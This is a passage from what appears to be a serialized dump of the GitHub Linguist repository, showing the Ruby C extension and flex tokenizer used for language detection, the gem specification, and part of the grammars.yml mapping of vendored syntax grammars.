linguist_yyset_lineno_ALREADY_DEFINED\n#undef yyset_lineno\n#endif\n#ifndef linguist_yyget_column_ALREADY_DEFINED\n#undef yyget_column\n#endif\n#ifndef linguist_yyset_column_ALREADY_DEFINED\n#undef yyset_column\n#endif\n#ifndef linguist_yywrap_ALREADY_DEFINED\n#undef yywrap\n#endif\n#ifndef linguist_yyget_lval_ALREADY_DEFINED\n#undef yyget_lval\n#endif\n#ifndef linguist_yyset_lval_ALREADY_DEFINED\n#undef yyset_lval\n#endif\n#ifndef linguist_yyget_lloc_ALREADY_DEFINED\n#undef yyget_lloc\n#endif\n#ifndef linguist_yyset_lloc_ALREADY_DEFINED\n#undef yyset_lloc\n#endif\n#ifndef linguist_yyalloc_ALREADY_DEFINED\n#undef yyalloc\n#endif\n#ifndef linguist_yyrealloc_ALREADY_DEFINED\n#undef yyrealloc\n#endif\n#ifndef linguist_yyfree_ALREADY_DEFINED\n#undef yyfree\n#endif\n#ifndef linguist_yytext_ALREADY_DEFINED\n#undef yytext\n#endif\n#ifndef linguist_yyleng_ALREADY_DEFINED\n#undef yyleng\n#endif\n#ifndef linguist_yyin_ALREADY_DEFINED\n#undef yyin\n#endif\n#ifndef linguist_yyout_ALREADY_DEFINED\n#undef yyout\n#endif\n#ifndef linguist_yy_flex_debug_ALREADY_DEFINED\n#undef yy_flex_debug\n#endif\n#ifndef linguist_yylineno_ALREADY_DEFINED\n#undef yylineno\n#endif\n#ifndef linguist_yytables_fload_ALREADY_DEFINED\n#undef yytables_fload\n#endif\n#ifndef linguist_yytables_destroy_ALREADY_DEFINED\n#undef yytables_destroy\n#endif\n#ifndef linguist_yyTABLES_NAME_ALREADY_DEFINED\n#undef yyTABLES_NAME\n#endif\n\n#line 176 \"tokenizer.l\"\n\n\n#line 702 \"lex.linguist_yy.h\"\n#undef linguist_yyIN_HEADER\n#endif /* linguist_yyHEADER_H */\n"
  },
  {
    "path": "ext/linguist/linguist.c",
    "content": "#include \"ruby.h\"\n#include \"lex.linguist_yy.h\"\n\nint linguist_yywrap(yyscan_t yyscanner) {\n\treturn 1;\n}\n\nstatic VALUE rb_tokenizer_extract_tokens(VALUE self, VALUE rb_data) {\n\tYY_BUFFER_STATE buf;\n\tyyscan_t scanner;\n\tVALUE extra;\n\tVALUE ary;\n\tlong len;\n\tint r;\n\n\tCheck_Type(rb_data, T_STRING);\n\n\tlen = RSTRING_LEN(rb_data);\n\tif (len > 100000)\n\t\tlen = 100000;\n\n\tlinguist_yylex_init_extra(&extra, &scanner);\n\tbuf = linguist_yy_scan_bytes(RSTRING_PTR(rb_data), (int) len, scanner);\n\n\tary = rb_ary_new();\n\tdo {\n\t\textra = 0;\n\t\tr = linguist_yylex(scanner);\n\t\tif (extra) {\n\t\t\trb_ary_push(ary, extra);\n\t\t}\n\t} while (r);\n\n\tlinguist_yy_delete_buffer(buf, scanner);\n\tlinguist_yylex_destroy(scanner);\n\n\treturn ary;\n}\n\n__attribute__((visibility(\"default\"))) void Init_linguist() {\n\tVALUE rb_mLinguist = rb_define_module(\"Linguist\");\n\tVALUE rb_cTokenizer = rb_define_class_under(rb_mLinguist, \"Tokenizer\", rb_cObject);\n\n\trb_define_method(rb_cTokenizer, \"extract_tokens\", rb_tokenizer_extract_tokens, 1);\n}\n"
  },
  {
    "path": "ext/linguist/linguist.h",
    "content": ""
  },
  {
    "path": "ext/linguist/tokenizer.l",
    "content": "%{\n\n#include \"ruby.h\"\n\n// Anything longer is unlikely to be useful.\n#define MAX_TOKEN_LEN 16\n\n#define FEED2(s, l) do { \\\n    const char* __s = (s); \\\n    const size_t __l = (l); \\\n    const size_t __cl = __l > MAX_TOKEN_LEN? MAX_TOKEN_LEN : __l; \\\n    *yyextra = rb_str_new(__s, __cl); \\\n  } while(0)\n\n#define FEED1(s) FEED2(s, strlen(s))\n\n#define FEED() FEED2(yytext, yyleng)\n\n#define FEED_STATIC(s) FEED2(s, sizeof(s) - 1)\n\n#define FEED_SHEBANG(s) do { \\\n    const size_t __l = strlen(s); \\\n    const size_t __cl = __l > MAX_TOKEN_LEN? MAX_TOKEN_LEN : __l; \\\n    *yyextra = rb_str_new(\"SHEBANG#!\", sizeof(\"SHEBANG#!\") - 1); \\\n    rb_str_cat(*yyextra, s, __cl); \\\n  } while(0)\n\n#define eat_until_eol() do { \\\n    int c; \\\n    while ((c = input(yyscanner)) != '\\n' && c != EOF && c); \\\n    if (c == EOF || !c) \\\n      return 0; \\\n  } while (0)\n\n#define eat_until_unescaped(q) do { \\\n    int c; \\\n    while ((c = input(yyscanner)) != EOF && c) { \\\n      if (c == '\\n') \\\n        break; \\\n      if (c == '\\\\') { \\\n        c = input(yyscanner); \\\n        if (c == EOF || !c) \\\n          return 0; \\\n      } else if (c == q) \\\n        break; \\\n    } \\\n    if (c == EOF || !c) \\\n      return 0; \\\n  } while (0)\n\n%}\n\n%option never-interactive yywrap reentrant nounput warn nodefault header-file=\"lex.linguist_yy.h\" extra-type=\"VALUE*\" prefix=\"linguist_yy\"\n%x c_comment xml_comment haskell_comment ocaml_comment python_dcomment python_scomment roff_comment lean_comment\n\n%%\n\n^#![ \\t]*([[:alnum:]_\\/]*\\/)?env([ \\t]+([^ \\t=]*=[^ \\t]*))*[ \\t]+[[:alpha:]_]+ {\n  const char *off = strrchr(yytext, ' ');\n  if (!off)\n    off = yytext;\n  else\n    ++off;\n  FEED_SHEBANG(off);\n  eat_until_eol();\n  return 1;\n}\n\n^#![ \\t]*[[:alpha:]_\\/]+  {\n  const char *off = strrchr(yytext, '/');\n  if (!off)\n    off = yytext;\n  else\n   ++off;\n  if (strcmp(off, \"env\") == 0) {\n    eat_until_eol();\n  } else {\n    FEED_SHEBANG(off);\n    eat_until_eol();\n    return 1;\n  }\n}\n\n^[ \\t]*[#]+(\" \".*|\\n)    { FEED_STATIC(\"COMMENT#\"); return 1; }\n^[ \\t]*\"//!\"(\" \".*|\\n)   { FEED_STATIC(\"COMMENT//!\"); return 1; }\n^[ \\t]*\"//\".*[\\n]?       { FEED_STATIC(\"COMMENT//\"); return 1; }\n^[ \\t]*\"--\"(\" \".*|\\n)    { FEED_STATIC(\"COMMENT--\"); return 1; }\n^[ \\t]*[%]+(\" \".*|\\n)    { FEED_STATIC(\"COMMENT%\"); return 1; }\n^[ \\t]*\\\"(\" \".*|\\n)      { FEED_STATIC(\"COMMENT\\\"\"); return 1; }\n^[ \\t]*;+(\" \".*|\\n)      { FEED_STATIC(\"COMMENT;\"); return 1; }\n^[.][ \\t]*\\\\\\\"(.*|\\n)    { FEED_STATIC(\"COMMENT.\\\\\\\"\"); return 1; }\n^['][ \\t]*\\\\\\\"(.*|\\n)    { FEED_STATIC(\"COMMENT'\\\\\\\"\"); return 1; }\n^\"$! \"(.*|\\n)            { FEED_STATIC(\"COMMENT$!\"); return 1; }\n\n\"/**/\"                   { FEED_STATIC(\"COMMENT/*\"); return 1; }\n\"/**\"                    { FEED_STATIC(\"COMMENT/**\"); BEGIN(c_comment); return 1; }\n\"/*!\"                    { FEED_STATIC(\"COMMENT/*!\"); BEGIN(c_comment); return 1; }\n\"/*\"                     { FEED_STATIC(\"COMMENT/*\"); BEGIN(c_comment); return 1; }\n\"<!--\"                   { FEED_STATIC(\"COMMENT<!--\"); BEGIN(xml_comment); return 1; }\n\"{-\"                     { FEED_STATIC(\"COMMENT{-\"); BEGIN(haskell_comment); return 1; }\n\"(*\"                     { FEED_STATIC(\"COMMENT(*\"); BEGIN(ocaml_comment); return 1; }\n\"\\\"\\\"\\\"\"                 { FEED_STATIC(\"COMMENT\\\"\\\"\\\"\"); BEGIN(python_dcomment); return 1; }\n\"'''\"                    { FEED_STATIC(\"COMMENT'''\"); BEGIN(python_scomment); return 1; }\n^\".ig\"\\n                 { FEED_STATIC(\"COMMENT.ig\"); BEGIN(roff_comment); return 1; }\n\"/--\"                     { FEED_STATIC(\"COMMENT/-\"); BEGIN(lean_comment); return 1; }\n\"/-\"                     { FEED_STATIC(\"COMMENT/-\"); BEGIN(lean_comment); return 1; }\n\n<c_comment,xml_comment,haskell_comment,ocaml_comment,python_dcomment,python_scomment,roff_comment,lean_comment>.|\\n { /* nothing */ }\n<c_comment>\"*/\"                   { BEGIN(INITIAL); }\n<xml_comment>\"-->\"                { BEGIN(INITIAL); }\n<haskell_comment>\"-}\"             { BEGIN(INITIAL); }\n<ocaml_comment>\"*)\"               { BEGIN(INITIAL); }\n<python_dcomment>\"\\\"\\\"\\\"\"         { BEGIN(INITIAL); }\n<python_scomment>\"'''\"            { BEGIN(INITIAL); }\n<roff_comment>\"..\"\\n              { BEGIN(INITIAL); }\n<lean_comment>\"-/\"                { BEGIN(INITIAL); }\n\n\\\"\\\"|''                           { /* nothing */ }\n\\\"                                { eat_until_unescaped('\"'); }\n'                                 { eat_until_unescaped('\\''); }\n(0x[0-9a-fA-F]([0-9a-fA-F]|\\.)*|[0-9]([0-9]|\\.)*)([uU][lL]{0,2}|([eE][-+][0-9]*)?[fFlL]*) { /* nothing */ }\n\n[.@#$]?[[:alnum:]_]+              { FEED(); return 1; }\n\n[(]+[)]+                          { FEED(); return 1; }\n[{]+[}]+                          { FEED(); return 1; }\n[\\[]+[\\]]+                        { FEED(); return 1; }\n[(]+|[)]+                         { FEED(); return 1; }\n[{]+|[}]+                         { FEED(); return 1; }\n[\\[]+|[\\]]+                       { FEED(); return 1; }\n[$]([(]+|[{]+|[\\[]]+)             { FEED(); return 1; }\n\n\"(...)\"|\"{...}\"|\"[...]\"           { FEED(); return 1; }\n\n\"&>\"|\"<&\"|\"<&-\"|\"&>>\"|\">&\"        { FEED(); return 1; }\n\"|&\"|\"&|\"                         { FEED(); return 1; }\n\n[-]+[>]+                          { FEED(); return 1; }\n[<]+[-]+                          { FEED(); return 1; }\n\n[!]+[=]+                          { FEED(); return 1; }\n[<>]*[=]+[<>]*                    { FEED(); return 1; }\n[<][/]?[?%!#@]                    { FEED(); return 1; }\n[?%!][>]                          { FEED(); return 1; }\n[<>/]+                            { FEED(); return 1; }\n[-+*/%&|^~:][=]+                  { FEED(); return 1; }\n[!=][~]                           { FEED(); return 1; }\n\":-\"                              { FEED(); return 1; }\n\n[.][*]+[?]?                       { FEED(); return 1; }\n[.][+]+[?]?                       { FEED(); return 1; }\n\"(?:\"                             { FEED(); return 1; }\n\n[-]+                              { FEED(); return 1; }\n[!]+                              { FEED(); return 1; }\n[#]+                              { FEED(); return 1; }\n[$]+                              { FEED(); return 1; }\n[%]+                              { FEED(); return 1; }\n[&]+                              { FEED(); return 1; }\n[*]+                              { FEED(); return 1; }\n[+]+                              { FEED(); return 1; }\n[,]+                              { FEED(); return 1; }\n[.]+                              { FEED(); return 1; }\n[:]+                              { FEED(); return 1; }\n[;]+                              { FEED(); return 1; }\n[?]+                              { FEED(); return 1; }\n[@]+                              { FEED(); return 1; }\n[\\\\]+                             { FEED(); return 1; }\n[\\^]+                             { FEED(); return 1; }\n[`]+                              { FEED(); return 1; }\n[|]+                              { FEED(); return 1; }\n[~]+                              { FEED(); return 1; }\n\n.|\\n                              { /* nothing */ }\n\n%%\n"
  },
  {
    "path": "github-linguist.gemspec",
    "content": "require File.expand_path('../lib/linguist/version', __FILE__)\n\nGem::Specification.new do |s|\n  s.name    = 'github-linguist'\n  s.version = ENV['GEM_VERSION'] || Linguist::VERSION\n  s.summary = \"GitHub Language detection\"\n  s.description = 'We use this library at GitHub to detect blob languages, highlight code, ignore binary files, suppress generated files in diffs, and generate language breakdown graphs.'\n\n  s.authors  = \"GitHub\"\n  s.homepage = \"https://github.com/github-linguist/linguist\"\n  s.license  = \"MIT\"\n  s.metadata = {\n    \"github_repo\" => \"ssh://github.com/github-linguist/linguist\"\n  }\n\n  s.files = Dir['{lib,ext}/**/*', 'grammars/*', 'LICENSE'] - Dir['lib/linguist/linguist.{so,bundle}']\n  s.platform = Gem::Platform::RUBY\n  s.executables = ['github-linguist', 'git-linguist']\n  s.extensions = ['ext/linguist/extconf.rb']\n  s.require_paths = ['lib', 'ext']\n\n  s.add_dependency 'cgi',             '>= 0'\n  s.add_dependency 'charlock_holmes', '~> 0.7.7'\n  s.add_dependency 'mini_mime',       '~> 1.0'\n  s.add_dependency 'rugged',          '~> 1.0'\n\n  s.add_development_dependency 'minitest', '~> 5.15'\n  s.add_development_dependency 'rake-compiler', '~> 0.9'\n  s.add_development_dependency 'mocha', '~> 2.1'\n  s.add_development_dependency 'plist', '~>3.1'\n  s.add_development_dependency 'pry', '~> 0.14'\n  s.add_development_dependency 'rake', '~> 13.0'\n  s.add_development_dependency 'yajl-ruby', '~> 1.4'\n  s.add_development_dependency 'licensed', '~> 5.0'\n  s.add_development_dependency 'licensee', '~> 9.15'\n  s.add_development_dependency 'bundler', '~> 2.0'\nend\n"
  },
  {
    "path": "go.work",
    "content": "go 1.20\n\nuse ./tools/grammars\n"
  },
  {
    "path": "grammars.yml",
    "content": "https://svn.edgewall.org/repos/genshi/contrib/textmate/Genshi.tmbundle/Syntaxes/Markup%20Template%20%28XML%29.tmLanguage:\n- text.xml.genshi\nvendor/grammars/AL:\n- source.al\nvendor/grammars/Alloy.tmbundle:\n- source.alloy\nvendor/grammars/Assembly-Syntax-Definition:\n- source.x86\nvendor/grammars/Atom-PostScript:\n- source.postscript\nvendor/grammars/AtomLanguageVelocity:\n- source.velocity\n- source.velocity.html\nvendor/grammars/AutoHotkey:\n- source.ahk\nvendor/grammars/CUE-Sheet_sublime:\n- source.cuesheet\nvendor/grammars/Clue-for-VSCode:\n- source.clue\nvendor/grammars/CoDT7-Sublime:\n- source.gsc\nvendor/grammars/ColdFusion:\n- source.cfscript\n- source.cfscript.cfc\n- text.cfml.basic\n- text.html.cfm\nvendor/grammars/CookVSCode:\n- source.cooklang\nvendor/grammars/Cylc.tmbundle:\n- source.cylc\nvendor/grammars/Dafny-VSCode:\n- text.dfy.dafny\nvendor/grammars/Docker.tmbundle:\n- source.dockerfile\nvendor/grammars/Elm/Syntaxes:\n- source.elm\n- text.html.mediawiki.elm-build-output\n- text.html.mediawiki.elm-documentation\nvendor/grammars/FreeMarker.tmbundle:\n- text.html.ftl\nvendor/grammars/GeneroFgl.tmbundle:\n- source.genero-4gl\n- source.genero-per\nvendor/grammars/Handlebars:\n- text.html.handlebars\nvendor/grammars/IDL-Syntax:\n- source.webidl\nvendor/grammars/Isabelle.tmbundle:\n- source.isabelle.root\n- source.isabelle.theory\nvendor/grammars/JSyntax:\n- source.j\nvendor/grammars/Jails:\n- source.jai\nvendor/grammars/K-VSCode:\n- text.k\nvendor/grammars/LOLCODE-grammar-vscode:\n- source.lolcode\nvendor/grammars/Ligo-grammar:\n- source.jsligo\n- source.ligo\n- source.mligo\n- source.religo\nvendor/grammars/Linker.tmLanguage:\n- source.c.linker\nvendor/grammars/Luau.tmLanguage:\n- source.luau\nvendor/grammars/MATLAB-Language-grammar:\n- source.matlab\nvendor/grammars/MQL5-sublime:\n- source.mql5\nvendor/grammars/MagicPython:\n- source.python\n- source.regexp.python\n- text.python.console\n- text.python.traceback\nvendor/grammars/Modelica:\n- source.modelica\nvendor/grammars/NSIS:\n- source.nsis\nvendor/grammars/Nasal.tmbundle:\n- source.nasal\nvendor/grammars/NimLime:\n- source.nim\nvendor/grammars/NovaGrammars:\n- source.git-revlist\n- source.json\n- source.keyvalues\n- source.redirects\n- source.solution\n- source.win32-messages\n- source.ws\n- text.git-commit\n- text.hash-commented\n- text.robots-txt\nvendor/grammars/ObjectScript.tmBundle:\n- source.objectscript\n- source.objectscript_class\n- source.objectscript_csp\n- source.objectscript_macros\nvendor/grammars/PHP-Twig.tmbundle:\n- text.html.twig\nvendor/grammars/PogoScript.tmbundle:\n- source.pogoscript\nvendor/grammars/PowerBuilder.tmbundle:\n- source.powerbuilder\nvendor/grammars/RDoc.tmbundle:\n- text.rdoc\nvendor/grammars/Racket:\n- source.racket\nvendor/grammars/SMT.tmbundle:\n- source.smt\nvendor/grammars/Scalate.tmbundle:\n- source.scaml\n- text.html.ssp\nvendor/grammars/Scenic-tmLanguage:\n- source.scenic\nvendor/grammars/Slash.tmbundle:\n- text.html.slash\nvendor/grammars/Stata.tmbundle:\n- source.mata\n- source.stata\nvendor/grammars/Stylus:\n- source.stylus\nvendor/grammars/Sublime-Coq:\n- source.coq\nvendor/grammars/Sublime-HTTP:\n- source.httpspec\nvendor/grammars/Sublime-Lasso:\n- file.lasso\nvendor/grammars/Sublime-Loom:\n- source.loomscript\nvendor/grammars/Sublime-Modula-2:\n- source.modula2\nvendor/grammars/Sublime-Nit:\n- source.nit\nvendor/grammars/Sublime-Pep8/:\n- source.pep8\nvendor/grammars/Sublime-QML:\n- source.qml\nvendor/grammars/Sublime-REBOL:\n- source.rebol\nvendor/grammars/Sublime-Red:\n- source.red\nvendor/grammars/Sublime-SQF-Language:\n- source.sqf\nvendor/grammars/SublimeBrainfuck:\n- source.bf\nvendor/grammars/SublimeClarion:\n- source.clarion\nvendor/grammars/SublimeEthereum:\n- source.solidity\n- source.vyper\n- source.yul\nvendor/grammars/SublimeGDB/:\n- source.disasm\n- source.gdb\n- source.gdb.session\n- source.gdbregs\nvendor/grammars/SublimePapyrus:\n- source.papyrus.skyrim\nvendor/grammars/SublimePuppet:\n- source.puppet\nvendor/grammars/SublimeXtend:\n- source.xtend\nvendor/grammars/Syntax-highlighting-for-PostCSS:\n- source.css.postcss.sugarss\n- source.postcss\nvendor/grammars/SystemVerilog:\n- source.systemverilog\n- source.ucfconstraints\nvendor/grammars/TLA:\n- source.tla\nvendor/grammars/TXL:\n- source.txl\nvendor/grammars/Textmate-Gosu-Bundle:\n- source.gosu.2\nvendor/grammars/TypeScript-TmLanguage:\n- source.ts\n- source.tsx\n- text.error-list\n- text.find-refs\nvendor/grammars/UrWeb-Language-Definition:\n- source.ur\nvendor/grammars/VBDotNetSyntax:\n- source.vbnet\nvendor/grammars/Vala-TMBundle:\n- source.vala\nvendor/grammars/VscodeAdblockSyntax:\n- text.adblock\nvendor/grammars/WhileySyntaxBundle:\n- source.whiley\nvendor/grammars/X10:\n- source.x10\nvendor/grammars/XojoSyntaxTM:\n- source.xojo\nvendor/grammars/ZenScript-tmLanguage:\n- source.zenscript\nvendor/grammars/abap-cds-grammar:\n- source.abapcds\nvendor/grammars/abap.tmbundle:\n- source.abap\nvendor/grammars/abl-tmlanguage:\n- source.abl\nvendor/grammars/actionscript3-tmbundle/:\n- source.actionscript.3\n- text.html.asdoc\n- text.xml.flex-config\nvendor/grammars/ada.tmbundle:\n- source.ada\nvendor/grammars/agda-github-syntax-highlighting:\n- source.agda\nvendor/grammars/aidl-language:\n- source.aidl\nvendor/grammars/ampl:\n- source.ampl\nvendor/grammars/android-system-tools:\n- source.bp\nvendor/grammars/ant.tmbundle:\n- text.xml.ant\nvendor/grammars/antlr.tmbundle:\n- source.antlr\nvendor/grammars/apex-tmLanguage:\n- source.apex\n- source.soql\nvendor/grammars/api-blueprint-sublime-plugin:\n- text.html.markdown.source.gfm.apib\n- text.html.markdown.source.gfm.mson\nvendor/grammars/applescript.tmbundle:\n- source.applescript\nvendor/grammars/asciidoc.tmbundle:\n- text.html.asciidoc\nvendor/grammars/asp-syntax-highlight:\n- source.answersetprogramming\nvendor/grammars/asp.tmbundle:\n- source.asp\n- text.html.asp\nvendor/grammars/assembly:\n- objdump.x86asm\n- source.x86asm\nvendor/grammars/astro:\n- source.astro\n- source.mdx.astro\n- text.html.markdown.astro\nvendor/grammars/atom-editorconfig:\n- source.editorconfig\n- text.plain\nvendor/grammars/atom-firestore-grammar:\n- source.firestore\nvendor/grammars/atom-fstar:\n- source.fstar\nvendor/grammars/atom-language-clean:\n- source.clean\n- text.restructuredtext.clean\nvendor/grammars/atom-language-haproxy:\n- source.haproxy-config\nvendor/grammars/atom-language-innosetup:\n- source.inno\nvendor/grammars/atom-language-julia:\n- source.julia\n- source.julia.console\nvendor/grammars/atom-language-nextflow:\n- source.nextflow\n- source.nextflow-groovy\nvendor/grammars/atom-language-p4:\n- source.p4\nvendor/grammars/atom-language-perl6:\n- source.meta-info\n- source.quoting.raku\n- source.raku\n- source.regexp.raku\nvendor/grammars/atom-language-purescript:\n- source.purescript\nvendor/grammars/atom-language-stan:\n- source.stan\nvendor/grammars/atom-miniyaml:\n- source.miniyaml\nvendor/grammars/atom-salt:\n- source.python.salt\n- source.yaml.salt\nvendor/grammars/ats:\n- source.ats\nvendor/grammars/avro.tmLanguage:\n- source.avro\nvendor/grammars/awk-sublime:\n- source.awk\nvendor/grammars/b-vscode:\n- source.b\nvendor/grammars/ballerina-grammar:\n- source.ballerina\nvendor/grammars/berry-grammar:\n- source.berry\n- source.berry.bytecode\nvendor/grammars/bicep:\n- markdown.bicep.codeblock\n- source.bicep\nvendor/grammars/bikeshed:\n- source.csswg\nvendor/grammars/blitzmax:\n- source.blitzmax\nvendor/grammars/boogie-vscode:\n- source.boogie\nvendor/grammars/bqn-vscode:\n- source.bqn\nvendor/grammars/browserslist-vscode:\n- text.browserslist\nvendor/grammars/bruno-ide-extensions:\n- source.bru\nvendor/grammars/bst.tmLanguage:\n- source.bst\nvendor/grammars/c.tmbundle:\n- source.c\n- source.c++\nvendor/grammars/cairo-tm-grammar:\n- source.cairo\n- source.cairo0\nvendor/grammars/capnproto.tmbundle:\n- source.capnp\nvendor/grammars/carto-atom:\n- source.css.mss\nvendor/grammars/cds-textmate-grammar:\n- source.cds\nvendor/grammars/ceylon-sublimetext:\n- source.ceylon\nvendor/grammars/chapel-tmbundle:\n- source.chapel\nvendor/grammars/circom-highlighting-vscode:\n- source.circom\nvendor/grammars/clarity.tmbundle:\n- source.clar\nvendor/grammars/code-peggy-language:\n- inline.peggy\n- source.peggy\nvendor/grammars/common-lisp-tmlanguage:\n- markdown.commonlisp.codeblock\n- source.commonlisp\nvendor/grammars/conllu-linguist-grammar:\n- text.conllu\nvendor/grammars/cool-tmbundle:\n- source.cool\nvendor/grammars/cpp-qt.tmbundle:\n- source.c++.qt\n- source.qmake\nvendor/grammars/cqlTextMate:\n- source.cql\nvendor/grammars/creole:\n- text.html.creole\nvendor/grammars/cron.tmbundle:\n- text.crontab\nvendor/grammars/csharp-tmLanguage:\n- source.cs\nvendor/grammars/cucumber-tmbundle:\n- source.ruby.rspec.cucumber.steps\n- text.gherkin.feature\nvendor/grammars/cython:\n- source.cython\nvendor/grammars/d.tmbundle:\n- source.d\nvendor/grammars/d2-vscode:\n- markdown.d2.codeblock\n- source.d2\n- text.html.markdown.d2\nvendor/grammars/dart-syntax-highlight:\n- source.dart\nvendor/grammars/daslang-grammar:\n- source.daslang\nvendor/grammars/data-weave-tmLanguage:\n- source.data-weave\nvendor/grammars/denizenscript-grammar:\n- source.denizenscript\nvendor/grammars/desktop.tmbundle:\n- source.desktop\nvendor/grammars/diff.tmbundle:\n- source.diff\nvendor/grammars/dm-syntax:\n- source.dm\nvendor/grammars/dylan.tmbundle:\n- source.dylan\n- source.lid\n- source.makegen\nvendor/grammars/earthfile-grammar:\n- source.earthfile\nvendor/grammars/ec.tmbundle:\n- source.c.ec\nvendor/grammars/ecl-tmLanguage:\n- source.ecl\nvendor/grammars/edge-vscode:\n- text.html.edge\nvendor/grammars/edgedb-editor-plugin:\n- dart.inline.edgeql\n- go.inline.edgeql\n- js.inline.edgeql\n- res.inline.edgeql\n- source.edgeql\nvendor/grammars/eiffel.tmbundle:\n- source.eiffel\nvendor/grammars/ejs-tmbundle:\n- text.html.js\nvendor/grammars/elixir-tmbundle:\n- source.elixir\n- text.elixir\n- text.html.elixir\nvendor/grammars/elvish:\n- source.elvish\n- source.elvish-transcript\n- source.elvish.in.markdown\nvendor/grammars/factor:\n- source.factor\n- text.html.factor\nvendor/grammars/fancy-tmbundle:\n- source.fancy\nvendor/grammars/firrtl-syntax:\n- source.firrtl\nvendor/grammars/fish-tmbundle:\n- source.fish\nvendor/grammars/forth:\n- source.forth\nvendor/grammars/fortran.tmbundle:\n- source.fortran\n- source.fortran.modern\nvendor/grammars/gap-tmbundle:\n- source.gap\nvendor/grammars/gemfile-lock-tmlanguage:\n- source.gemfile-lock\nvendor/grammars/gemini-vscode:\n- source.gemini\nvendor/grammars/gettext.tmbundle:\n- source.po\nvendor/grammars/gnuplot-tmbundle:\n- source.gnuplot\nvendor/grammars/go-tmbundle:\n- source.go\nvendor/grammars/godot-vscode-plugin:\n- source.gdresource\n- source.gdscript\n- source.gdshader\nvendor/grammars/grace:\n- source.grace\nvendor/grammars/gradle.tmbundle:\n- source.groovy.gradle\nvendor/grammars/grammar:\n- source.erlang\nvendor/grammars/graphiql:\n- inline.graphql\n- inline.graphql.markdown.codeblock\n- inline.graphql.php\n- inline.graphql.python\n- inline.graphql.re\n- inline.graphql.res\n- inline.graphql.scala\n- source.graphql\nvendor/grammars/graphviz.tmbundle:\n- source.dot\nvendor/grammars/groovy.tmbundle:\n- source.groovy\nvendor/grammars/haxe-TmLanguage:\n- documentation.markdown.injection.haxe\n- markdown.haxe.codeblock\n- markdown.hxml.codeblock\n- source.hlcode\n- source.hx\n- source.hx.argument\n- source.hx.type\n- source.hxml\nvendor/grammars/holyc.tmbundle:\n- source.hc\nvendor/grammars/hoon-grammar:\n- source.hoon\nvendor/grammars/iCalendar-sublime:\n- source.iCalendar\nvendor/grammars/ide-tools:\n- source.toit\nvendor/grammars/idl.tmbundle:\n- source.idl\n- source.idl-dlm\n- text.idl-idldoc\nvendor/grammars/idris:\n- source.idris\nvendor/grammars/imba-linguist-grammar:\n- source.imba\nvendor/grammars/ini.tmbundle:\n- source.ini\nvendor/grammars/ink-tmlanguage:\n- source.ink\nvendor/grammars/io.tmbundle:\n- source.io\nvendor/grammars/ioke-outdated:\n- source.ioke\nvendor/grammars/ionide-fsgrammar:\n- source.fsharp\n- source.fsharp.fsi\n- source.fsharp.fsl\n- source.fsharp.fsx\n- source.paket.dependencies\n- source.paket.lock\nvendor/grammars/ispc.syntax:\n- source.ispc\nvendor/grammars/jac-vscode:\n- source.jac\nvendor/grammars/jade-tmbundle:\n- source.pyjade\n- text.jade\nvendor/grammars/jasmin-sublime:\n- source.jasmin\nvendor/grammars/java.tmbundle:\n- source.java\n- source.java-properties\n- text.html.jsp\n- text.junit-test-report\nvendor/grammars/javadoc.tmbundle:\n- text.html.javadoc\nvendor/grammars/javascript-objective-j.tmbundle:\n- source.js.objj\nvendor/grammars/jflex.tmbundle:\n- source.jflex\nvendor/grammars/jte-template-syntax-highlight:\n- text.html.jte\nvendor/grammars/kivy-language-grammer:\n- source.python.kivy\nvendor/grammars/koka-textmate-grammar:\n- source.koka\nvendor/grammars/kusto-sublime:\n- source.kusto\nvendor/grammars/language-4d:\n- source.4dm\nvendor/grammars/language-agc:\n- source.agc\nvendor/grammars/language-algol60:\n- source.algol60\nvendor/grammars/language-apl:\n- source.apl\nvendor/grammars/language-asl:\n- source.asl\nvendor/grammars/language-asn1:\n- source.asn\nvendor/grammars/language-basic:\n- source.basic\nvendor/grammars/language-batchfile:\n- source.batchfile\nvendor/grammars/language-bh:\n- source.bh\nvendor/grammars/language-blade:\n- source.gfm.blade\n- text.html.php.blade\nvendor/grammars/language-click:\n- source.click\nvendor/grammars/language-clojure:\n- source.clojure\nvendor/grammars/language-closure-templates:\n- text.html.soy\nvendor/grammars/language-coffee-script:\n- source.coffee\n- source.litcoffee\nvendor/grammars/language-crystal:\n- source.crystal\n- text.html.ecr\nvendor/grammars/language-csound:\n- source.csound\n- source.csound-document\n- source.csound-score\nvendor/grammars/language-css:\n- source.css\nvendor/grammars/language-cwl:\n- source.cwl\nvendor/grammars/language-debian:\n- source.deb-control\n- source.debian.makefile\nvendor/grammars/language-dircolors:\n- source.dircolors\nvendor/grammars/language-dsv:\n- source.csv\n- source.dsv\n- source.tsv\nvendor/grammars/language-emacs-lisp:\n- source.emacs.lisp\n- source.yasnippet\n- text.muse\nvendor/grammars/language-eml:\n- text.eml.basic\nvendor/grammars/language-etc:\n- etc\n- injections.etc\n- source.2da\n- source.bc\n- source.c.calendar\n- source.c.nwscript\n- source.cpan-mirror\n- source.cpan-skiplist\n- source.curlrc\n- source.dc\n- source.direct-x\n- source.dosbox-conf\n- source.dotenv\n- source.futhark\n- source.generic-config\n- source.generic-db\n- source.gitattributes\n- source.gitconfig\n- source.gitignore\n- source.hgignore\n- source.hosts\n- source.ini.npmrc\n- source.inputrc\n- source.lcov\n- source.m3u\n- source.m4\n- source.mailmap\n- source.man-conf\n- source.nanorc\n- source.neon\n- source.odin-ehr\n- source.openbsd-pkg.contents\n- source.opts\n- source.psl\n- source.record-jar\n- source.sexp\n- source.sfv\n- source.shellcheckrc\n- source.sieve\n- source.smpl\n- source.ssh-config\n- source.star\n- source.stl\n- source.string-template\n- source.tags\n- source.torrc\n- source.ucd.nameslist\n- source.ucd.unidata\n- source.wgetrc\n- text.checksums\n- text.codeowners\n- text.html.ecmarkup\n- text.jira\n- text.lesshst\n- text.openbsd-pkg.desc\n- text.savane\n- text.xml.svg\n- text.youtube\nvendor/grammars/language-faust:\n- source.faust\nvendor/grammars/language-fontforge:\n- source.afm\n- source.bdf\n- source.figctrl\n- source.figfont\n- source.fontdir\n- source.fontforge\n- source.fontinfo\n- source.opentype\n- source.stdbez\n- source.xlfd\n- text.sfd\nvendor/grammars/language-gf:\n- source.gf\nvendor/grammars/language-gn:\n- source.gn\nvendor/grammars/language-grammars:\n- source.abnf\n- source.bnf\n- source.ebnf\n- source.goldgrm\n- source.lark\n- source.lbnf\n- source.lex\n- source.lex.regexp\n- source.pegjs\n- source.yacc\n- text.grammarkdown\nvendor/grammars/language-haml:\n- text.haml\n- text.hamlc\nvendor/grammars/language-haskell:\n- annotation.liquidhaskell.haskell\n- hint.haskell\n- hint.message.haskell\n- 